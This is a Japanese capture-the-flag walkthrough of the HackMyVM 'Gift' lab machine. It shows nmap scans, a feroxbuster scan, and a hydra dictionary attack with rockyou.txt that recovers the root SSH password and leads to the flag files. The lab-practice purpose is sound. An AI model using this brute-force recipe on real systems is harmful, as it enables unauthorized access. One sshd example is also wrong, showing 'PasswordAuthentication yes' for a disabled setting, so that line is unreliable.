HackMyVM | Gift を攻略する。
0. ネットワークの設定と IP アドレスの確認
0.1. ネットワークの設定
マシンの IP アドレスを特定しやすいよう Host-only Network を使うよう設定する。 Bridge Adapter を使ってももちろん構わない。
0.2. IP アドレスを確認する
$ nmap -sP '192.168.56.*'
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-29 14:41 JST
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 256 undergoing Ping Scan
Ping Scan Timing: About 2.54% done; ETC: 14:41 (0:00:00 remaining)
Nmap scan report for 192.168.56.1
Host is up (0.0049s latency).
Nmap scan report for 192.168.56.104
Host is up (0.0025s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 2.42 seconds
出力結果から 2 つの IP アドレスがヒットした。
192.168.56.1
は Host-only Network の DHCP サーバーの IP アドレスであるため、 192.168.56.104
が今回攻撃するマシンの IP アドレスであることがわかる。
1. ポートスキャン
$ nmap -sC -sV 192.168.56.104
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-29 14:42 JST
Nmap scan report for 192.168.56.104
Host is up (0.00018s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.3 (protocol 2.0)
| ssh-hostkey:
| 3072 2c:1b:36:27:e5:4c:52:7b:3e:10:94:41:39:ef:b2:95 (RSA)
| 256 93:c1:1e:32:24:0e:34:d9:02:0e:ff:c3:9c:59:9b:dd (ECDSA)
|_ 256 81:ab:36:ec:b1:2b:5c:d2:86:55:12:0c:51:00:27:d7 (ED25519)
80/tcp open http nginx
|_http-title: Site doesn't have a title (text/html).
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.70 seconds
22
と 80
番のポートが開いていることがわかる。
2. 80 番ポートにアクセスする
2.1. curl してみる
$ curl http://192.168.56.104
Dont Overthink. Really, Its simple.
<!-- Trust me -->
使えそうな情報は含まれていない。
2.2. コンテンツスキャンを行う
他にアクセスできる URL がないか確認する。
$ feroxbuster --url http://192.168.56.104 --silent
http://192.168.56.104/
feroxbuster
は Forced Browsing と呼ばれる攻撃を行うためのツール。 サイト内に貼られたリンクと、あらかじめ用意されたリストを使って、アクセス可能な URL を探し出す。
上の出力結果は、feroxbuster
がhttp://192.168.56.104
以外のアクセス可能な URL を見つけられなかったことを示している。
3. ssh 接続
ここまでの結果から 80 番ポートは攻撃に利用できないように思われる。 ここからはもうひとつのポート、22 番ポートに対して攻撃を試みる。
22 番ポートは SSH で利用されるポートだ。
3.1. とりあえず接続を試みる
root
ユーザーとして ssh
での接続を試みると:
$ ssh root@192.168.56.104
root@192.168.56.104's password:
パスワードが聞かれるということは、パスワードによる接続が許可されているということだ。 仮に、sshd
の設定で、以下のようにパスワードによる接続が禁止されているとする:
PasswordAuthentication yes
この場合、出力は下のようになる:
$ ssh root@192.168.56.104
root@192.168.56.104: Permission denied (publickey,keyboard-interactive).
正しいパスワードがわかれば接続できるかもしれないということがわかる。 「かもしれない」と書いたのは、下のように root
ユーザーとしての接続が禁止されている可能性があるためだ。
PermitRootLogin no
このように接続が禁止されている場合でも、ssh
で接続を試みたときにはパスワードが聞かれる。 そのため「パスワードによる接続は許可されているが、root
ユーザーとしては接続できない」という可能性は否定できない。
3.2. 辞書攻撃を仕掛ける
root
ユーザーとしての接続が禁止されている可能性は捨てきれないが、他に手がかりはない。 「パスワードがわかれば接続できる」可能性にかけてみる。
全く手がかりがない状態で正しいパスワードを知るには実際に試してみるしかない。 あらかじめ用意したパスワードの候補を使って実際に接続を試みる。 このような攻撃を辞書攻撃と呼ぶ。
hydra
を使って辞書攻撃を仕掛ける。
$ hydra -f -w 1 -W 1 -t 64 -l root -P /usr/share/dict/rockyou.txt 192.168.56.104 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
[WARNING] the waittime you set is low, this can result in errornous results
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-29 19:15:43
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344398 login tries (l:1/p:14344398), ~224132 tries per task
[DATA] attacking ssh://192.168.56.104:22/
[22][ssh] host: 192.168.56.104 login: root password: simple
[STATUS] attack finished for 192.168.56.104 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-29 19:16:01
出力の中の以下の行から、パスワードは simple
であることがわかる。
[22][ssh] host: 192.168.56.104 login: root password: simple
3.3. root
ユーザーとして接続する
3.2 で取得したパスワードを使って ssh
で接続する:
$ ssh root@192.168.56.104
root@192.168.56.104's password:
IM AN SSH SERVER
gift:~#
4. フラッグの取得
3.3 で root
ユーザーとして対象のマシンにログインできた。 フラッグを探すべく、ファイルを確認してみると:
gift:~# ls -la
total 20
drwx------ 2 root root 4096 Sep 24 2020 .
drwxr-xr-x 22 root root 4096 Sep 18 2020 ..
-rw------- 1 root root 467 Feb 29 06:08 .ash_history
---------- 1 root root 12 Sep 24 2020 root.txt
-rw-rw---- 1 root root 12 Sep 24 2020 user.txt
root.txt
と user.txt
の中身を提出してクリア 🎉